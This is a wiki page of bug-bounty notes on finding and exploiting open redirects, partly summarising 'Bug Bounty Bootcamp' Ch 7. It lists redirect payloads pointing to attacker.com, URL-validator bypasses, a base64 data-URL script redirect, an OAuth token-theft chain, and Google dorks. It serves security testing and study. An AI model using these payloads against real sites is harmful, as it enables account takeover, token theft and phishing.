Cybersecurity

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.
====== Open Redirect Testing ======

Very easy to find, and chains effectively with OAuth for token theft leading to account takeover.

===== Common Parameter Names =====

<code>
return, return_url, rUrl, cancelUrl, redirect, goto, returnTo, returnUrl,
r_url, redirectTo, redirectUrl, dest, continue, next, window, back
</code>

===== Payloads =====

<code>
\/attacker.com
\attacker.com
//attacker.com
//theirsite@attacker.com
/\/attacker.com
https://attacker.com%3F.theirsite.com/
////attacker.com
/%0D/attacker.com
/%2F/attacker.com
/%5Cattacker.com
//google%E3%80%82com
</code>

**Encoding tip:** Always encode ''& ? # / \'' as ''%26 %3F %23 %2F %5C'' to force the browser to decode after the redirect, bypassing server-side filters that check the raw string.

===== Finding with Google Dorks =====

<code>
site:target.com inurl:redirect=
site:target.com inurl:return_url=
site:target.com inurl:goto=
</code>

===== OAuth Token Theft Chain =====

<code>
/login?client_id=123&redirect_url=https://target.com/oauth/callback?goto=https://attacker.com/
</code>

The OAuth token is appended to the redirect URL. If the redirect goes to an attacker-controlled domain, the token lands in the attacker's server logs = account takeover.

===== Bypass Techniques =====

  * **Browser autocorrect** -- ''///attacker.com'' may be normalized by the browser
  * **Flawed validator logic** -- validator checks only if their domain is a substring: ''https://attacker.com?x=theirsite.com''
  * **Data URLs** -- ''data:text/html;base64,...''
  * **URL decoding** -- try encoded slashes ''%2F%2Fattacker.com''
  * **Combining techniques** -- chain encoding + partial domain match

===== Escalation =====

  * Chain with OAuth: redirect_uri bypass = token theft = account takeover
  * Use as SSRF bypass -- open redirect on target used to reach internal services
  * Phishing -- bounce through trusted domain to attacker page

===== See Also =====

  * [[zseano:ssrf|SSRF Testing]]
  * [[zseano:escalation|Bug Chaining]]
  * [[tbhm:04_authorization|TBHM Auth & Session]]
  * [[zseano:start|Methodology Index]]


====== BBC Ch 7: Open Redirects ======

//Merged from Bug Bounty Bootcamp Ch 7 by Vickie Li//

===== How Open Redirects Work =====

Sites often redirect users after login, logout, or payment to a URL specified by a parameter or the Referer header. When the destination is not validated, an attacker can redirect the victim to an arbitrary site.

Two mechanisms:

**Parameter-based:**
<code>
https://example.com/login?redirect=https://example.com/dashboard
</code>

Change the redirect value to an attacker-controlled host and the site sends the user there.

**Referer-based:**

The application reads the HTTP Referer header to determine where to redirect after an action (login, form submit). Host a page on your server that links to the target -- when the user clicks through, the Referer is set to your server, and the app redirects to it after login.

===== Prevention =====

Sites use URL validators to allow only redirects to approved destinations. These use blocklists (reject known-bad patterns) or allowlists (accept only approved destinations). Both are hard to implement correctly and both have well-known bypasses.

===== Hunting for Open Redirects =====

==== Step 1: Find Candidates ====

In Burp proxy history, search for these parameter names:

<code>
redirect  redir  redirect_uri  redirect_url
next  return  return_to  returnTo
destination  dest  forward  url  uri
go  goto  to
</code>

Also watch for 301/302 responses on pages that don't have a redirect parameter -- those are referer-based candidates. Check the page that caused the redirect and whether changing the Referer changes the destination.

==== Step 2: Google Dorks ====

<code>
inurl:%3Dhttp site:example.com
inurl:%3D%2F site:example.com
inurl:redir site:example.com
inurl:redirect site:example.com
inurl:redirecturi site:example.com
inurl:redirect_uri site:example.com
inurl:redirecturl site:example.com
inurl:redirect_url site:example.com
inurl:return site:example.com
inurl:returnto site:example.com
inurl:return_to site:example.com
inurl:goto site:example.com
inurl:next site:example.com
</code>

==== Step 3: Test Parameter-Based ====

Replace the redirect value with an external hostname. If the response is a 302 Location to your host, it is vulnerable. If the app validates the domain, move to bypass techniques.

==== Step 4: Test Referer-Based ====

Host a simple HTML page on a server you control that links to the target page:

<code html>
<html><a href="https://example.com/login">click</a></html>
</code>

Click the link. If the app redirects you to your server after login, the Referer header is being used as the destination without validation.

===== Bypassing URL Validators =====

==== Browser Autocorrect ====

Browsers normalize unusual URL syntax before sending. Use these to fool validators that parse the raw string:

<code>
https:attacker.com
https;attacker.com
https:\/\/attacker.com
https:\attacker.com
</code>

==== Backslash Normalization ====

<code>
https:\attacker.com
</code>

Some browsers normalize backslashes to forward slashes, so the above becomes ''https://attacker.com''. Validators may see a backslash and reject it as non-URL, but some pass it through.

==== @-Sign Trick ====

URLs allow a username before the host with ''@''. A validator checking for "starts with example.com" is fooled:

<code>
https://example.com@attacker.com
https://attacker.com\@example.com
</code>

The browser connects to ''attacker.com''; everything before ''@'' is treated as credentials.

==== Flawed Allowlist Logic ====

If the validator checks that the URL **contains** the allowed domain:

<code>
https://example.com.attacker.com
https://attacker.com/example.com
https://attacker.com#example.com
</code>

If the validator checks that the URL **starts with** the allowed domain:

<code>
https://example.com%252f@attacker.com/example.com
</code>

Double encoding: ''%25'' decodes to ''%'', so ''%252f'' decodes to ''%2f'' (a forward slash). After one decode pass the validator sees ''example.com%2f@attacker.com'' and may approve it. The browser then performs a second decode and connects to ''attacker.com''.

==== Data URLs ====

<code>
data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iOzwvc2NyaXB0Pg==
</code>

The base64 content decodes to:
<code html>
<script>location="https://attacker.com";</script>
</code>

Data URLs execute in browser context. If the validator accepts ''data:'' URLs, this is both a redirect and an XSS vector.

==== URL Decoding Exploits ====

  * **Double encoding** -- encode a character twice: ''%252f'' -> first pass ''%2f'' -> second pass ''/''
  * **Non-ASCII bytes** -- ''%ff'' and other high bytes may pass validators that only check for known-bad ASCII
  * **Unicode lookalikes** -- Unicode characters that visually resemble ASCII but have different code points; validators may miss them

===== Escalating the Attack =====

Open redirects on their own are low severity. They become high severity when chained:

  * **Phishing** -- send victims to a clone of the target site to harvest credentials. The URL starts with the legitimate domain, making it convincing.
  * **SSRF chaining** -- if an SSRF vulnerability follows redirects, an open redirect on an allowed host can be used to reach internal services. The SSRF check approves the allowed host; the redirect sends the request to an internal IP.
  * **OAuth token theft via Referer** -- if a redirect happens after an OAuth authorization step, and the Referer header is sent to the attacker-controlled redirect target, the OAuth code or token leaks in the Referer to the attacker's server logs.

===== 5-Step Checklist =====

  - Search proxy history for redirect parameters and 301/302 responses without explicit redirect params.
  - Run Google dorks to find additional redirect parameter occurrences in indexed URLs.
  - Test parameter-based: replace redirect value with an external URL. Check the response Location header.
  - Test referer-based: host a page linking to the target, browse via your page, observe where you land.
  - If validation is present, attempt bypasses: browser autocorrect syntax, @-sign, allowlist logic errors, double encoding, data URLs.